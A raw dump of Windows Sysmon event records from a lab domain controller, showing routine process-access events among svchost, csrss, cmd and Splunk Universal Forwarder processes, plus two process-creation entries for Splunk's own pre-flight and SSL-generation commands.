09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1701-000000007F01}1512C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-294F-5F80-1701-000000007F01}1512C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1803d|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.949{A5F018FF-294F-5F80-1701-000000007F01}1512C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-sslC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-294F-5F80-1501-000000007F01}48044556C:\Windows\system32\cmd.exe{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.940{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-294F-5F80-1501-000000007F01}4804C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1 10341000x80000000000000005082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1501-000000007F01}4804C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.930{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 